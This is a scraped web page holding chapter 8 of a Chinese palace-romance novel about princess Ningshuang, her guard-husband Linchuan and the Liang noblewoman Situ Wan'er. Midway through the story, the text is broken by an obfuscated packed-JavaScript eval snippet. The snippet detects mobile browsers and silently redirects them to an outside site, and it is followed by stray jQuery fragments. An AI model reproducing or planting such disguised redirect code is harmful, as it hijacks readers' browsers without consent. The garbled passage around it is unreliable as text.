默认冷灰
24号文字
方正启体

8. 第 8 章

作者:黑猫头本书字数:K更新时间:
    胤国尚武,梁国尚文,两国接壤之地常有摩擦,为缓和关系,梁国皇帝提出互换质子。


    梁国皇帝好美色,早已卧床一病不起,还要夜夜唤宫妃入殿宠幸。


    其后宫佳丽三千,子女更是成群。


    而胤国皇室只有宁霜姐弟。


    父皇自是一口回绝这提议,可人还是被押送过来了。


    说是押送,也不为过,来人双手双脚皆被束缚,偏生他坦然淡定,艰难地翻阅着手中的书,不为外物所扰,连宁霜靠近都无知无察。


    宁霜看了一眼,那书讲得是帝王之道。


    她欣赏有狼子野心的人,但话缝中还是难掩讽刺,“你一个十八皇子,还妄想夺权?”


    宁霜只见过梁国的大皇子。


    满口教条大道理,但话里藏针,不是个好对付的角色。


    上官庆抬眼看她:“不是谁都像殿下,有这般得天独厚的命,但有人自会逆天改命。”


    如此大放厥词,叫宁霜忍不住笑出了声,“有骨气,我喜欢。”


    宁霜观他爱书,便给了他特权可自由出入藏书阁,谁料此人埋首书卷,竟如酒鬼误入了酒窖,直接饿晕在了藏书阁。


    人还是被宁霜踢醒的。


    她正想骂她,却见他双颊微红,似有些不好意思,“我在梁国从未读过这些,一时不察,忘了饮食,叫殿下担心了。”


    担心?她才没有。


    可在他下次入阁的时候,还是提步跟了进去。


    那时她们第一次独处,就因书中的典故争执不休,儒雅端方的君子失了风度,与她吵得面红耳赤,二人口干舌燥,最终相视大笑。


    默契便是那时开始的,动心也是。


    后来,宁霜周旋于一场贪污案,可父皇病情加重,她分身乏术,上官庆便主动提议帮她分忧解愁。


    起初,她是拒绝的。


    梁国人怎能干涉胤国朝政,他却跪了一天一夜,恳求给他一个机会,他不想做弃子,彻底被人放逐。


    宁霜只得无奈只得让其放手一搏,可他太急功近利,诉诸暴刑,直接把人审讯死了,彻底断了线索。


    消息传到宁霜耳中,她惊觉,他虽饱读诗书,却皆是纸上谈兵。


    她索性下放了些无足轻重的权利给他,给他锻炼的机会,他终是不负所托,办得完美,为此她特意为他设了宴席庆祝。


    盯着他的笑颜,宁霜想起了自己。


    母后身体抱恙,她自幼被父皇当作储君培养,因此苛责总是多于赞赏,策论字字珠玑,骑射皆中靶心,宫宴礼数周全,得到的也只有句,“记住,这是你该做的。”


    少时宁霜不解,每每在父皇那里得不到奖赏,就找母后撒泼打滚,母后总是温柔地抚摸她的头,柔声夸她,“霜儿辛苦了,我们霜儿是最棒的。”


    稍她长成后,母后却意外怀孕,生下了男胎便撒手人寰,父皇痛心疾首,泣泪横流,像个孩童。


    后来,父皇对她说,“霜儿,父皇母后常觉亏待了你,你还那么小,便把国家大任教给你。”


    “你母亲提议让朕纳妃好留下一子,为你分忧,可父皇……”


    自古天家多薄情寡义之人,她的父皇却做不到。


    “朕不该为难她的,是,是我害死了她。”


    那时宁霜才明白,是她终日诉的苦变成了催命的符。


    每每上官庆为她做事,无论成与败,她都赞赏有加,尽管那些事她十岁就能游刃有余处理妥帖了。


    过往云烟,转瞬即逝。


    上官庆还是一如即往,急于求成,自傲易满。


    “他既然封你为吏部侍郎,那我们便将计就计!”


    瞌睡有人递枕头,她正愁不知如何安插人手,尽管她手中目前无人可用。


    宁霜误打误撞,圆了临川的说法。


    上官庆虽觊觎幹州大军,但更多还是看重梁国人的身份,能为其所用,临川不单为沈惜风遮掩,也为了自己,甚至为此,不惜骗了殿下。


    从一开始,这便是死局。


    临川清楚知道自己在做什么,但他别无选择。


    他的奢望不多,他只是想能待在殿下身边。


    可人不是容易满足的,尤其是像他这样的人。自小在泥潭里挣扎,见了光,哪怕会灼伤他的手,也不愿放开。


    他少时便因此吃了亏。


    如今他学会了忍耐与克制,可越压抑,却沉默不语,越让他轻而易举让他沉沦其中,无法自拔。


    他开始有了奢望。


    奢望殿下只注视着他,别转过头,别移开眼。


    他甚至开始嫉妒,嫉妒那个灭了她的国,让她日夜挂念,在梦里都在喊他的名字……


    殿下肯定无法理解吧。


    就连他也无法理解,但是明白,再奢望嫉妒,他也不能以下犯上。


    他给自己定下界限,软声在耳边作响,诱惑着他,“夫君,过来,早些就寝吧。”


    宁霜不知道临川为何一直站在阴影下,难不成是从来当暗卫留下来的习惯?


    见他一动不动,宁霜又唤了一遍,“时辰不早了……”


    临川挪动步子,却是往房门外走。


    “我给夫人守夜。”说罢,不待宁霜反应,便夺门而去。


    屋内烛火摇曳,拉长门外人的背影,显得孤独又可怜。


    宁霜虽不解,但还是随他去了。


    毕竟床还没修,小榻也睡不开两个人。


    翌日一早,敲锣打鼓声震街。


    户部侍郎家的千金被封妃的消息传遍街头巷尾。


    侍郎大手一挥,在酒楼设下盛宴,全城百姓皆可入内享用。


    不知从哪桌起,流言蜚语如蝗虫过境,迅速蔓延开来。


    说是侍郎千金得宠,皆因穿了那神衣坊的衣裳。


    那衣裳经口口相传,似神乎其神,天外来物。


    更有人言,有一官员,俊美无双,见了那侍郎千金一面后,当众示爱,谁料被陛下横插一腿,归家后便把糟糠之妻晾到一旁,让其独守空房。


    临川一听,便知是殿下造的谣。


    “非也非也,我只是添把火而已。”宁霜可不背这锅。


    酒楼人多眼杂,二人不便久留,她携临川而去,路过锦绣阁,撞见了那熟悉的马车。


    许茹云倒是迫不及待找她,想来还真是得了宠幸。


    照例把临川支走,宁霜自车旁而去,被人叫住。


    “上来。”这声音听起来有些淡。


    车帘被人掀开一角,露出白嫩的手,立于一旁的丫鬟跪在地上,以身做阶,供宁霜踏足。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058117|194920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从前她在宫中时早已废了这陋习,上行下仿,皇城中无人敢违抗。


    如今这般做态,倒像是梁国人。


    她心里已起疑,避开婢女上车,舆厢中只有一人,她端坐于其中,一袭水蓝色宫裙,发间淡粉色头面,额前缀着金流苏,华贵却不失少女本色。


    “红色幕蓠,素色衣衫。”她美眸瞧着宁霜,“你便是神衣坊幕后之人?”


    宁霜不认识此人,难得这皇城中有她不认识的贵女。


    见宁霜沉默,那便是默认了,来人自报姓名,“梁国丞相之女司徒婉儿,见过姑娘。”


    梁国多复姓,司徒与上官更是大姓。


    司徒婉儿道:“我寻姑娘只为一事。”


    她抿唇,又道:“为我做件衣服。”


    宁霜开口便是拒绝,“神衣坊只为有缘人提供。”


    “何为有缘人?”司徒婉儿轻笑出声,外侧立着的婢女将一个箱子推了进来,打开,里面尽是金银。


    “如若无缘,那我便求个有缘可好?”司徒婉儿偏头看她,她生得貌美,圆眼略显楚楚可怜。


    宁霜本就是迂回之意,不料此人如此豪爽,她心下微动,但宁霜仍然端着,没松口,甚至动了身,想要往外走。


    手被人拉住,司徒婉儿急声道:“姑娘且听我把话说完,只需片刻。”


    宁霜只得佯装不耐,又坐了回去。


    司徒婉儿咬了咬唇,无奈地叹了口气,一开口便惊到了宁霜,“我与梁国十八皇子,也就是当今陛下,为青梅竹马,早已互诉衷肠私定终生……”


    谁料天有不测风云,大皇子为讨好胤国,执意将庆哥哥换做质子送入龙潭虎穴。


    临别前夜,庆哥哥被关入地牢,司徒婉儿买通了守卫偷偷潜入,二人相拥而泣,缠绵依偎,庆哥哥许诺她,他日重返,必娶她为妻。


    她没等来他重返,却等来了他称帝的消息。


    原以为庆哥哥把她接来是当皇后的,因此她不惜顶撞父亲,气坏了母亲。


    可自入宫那日见了一面后,她便被安置在宫殿里,虽奢华至极,奖赏不断,庆哥哥却不肯再见她。就算见了她,也是草草敷衍,皇后之事更是闭口不谈。


    她在宫中,名不正言不顺。


    本以为庆哥哥也不会有她人在侧,谁料那许茹云一来,便得了庆哥哥的恩宠,更是成了宫中第一个嫔妃。


    民间皆传是得了神衣坊的相助。


    说到这,司徒婉儿的脸已染上哀愁,“我对庆哥哥情根深种,若是得此衣相助,定能挽回庆哥哥心意。”


    她挽住宁霜的手,“求姑娘帮帮我!”


    真是个痴情的人啊。


    宁霜记得她问过上官庆,在梁国可有心悦之人,那时他信誓旦旦,指天为誓,“此生仅心悦殿下一人,若有欺瞒,天诛地灭。”


    宁霜问她:“若是此衣也帮不了你呢?若是他……”本就是在骗你呢。


    司徒婉儿却误解了她的意思,“姑娘放心,我定不会追责于姑娘。”


    “若是那样也无法。”她的笑有些苦涩,“我便死心了。”


    马车疾驰而去,于巷尾处停下,司徒婉儿踩着婢女,对守在辎车旁的侍卫厉声道:“她一个人抱着那么重的箱子,定走不远,找机会,杀了她。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)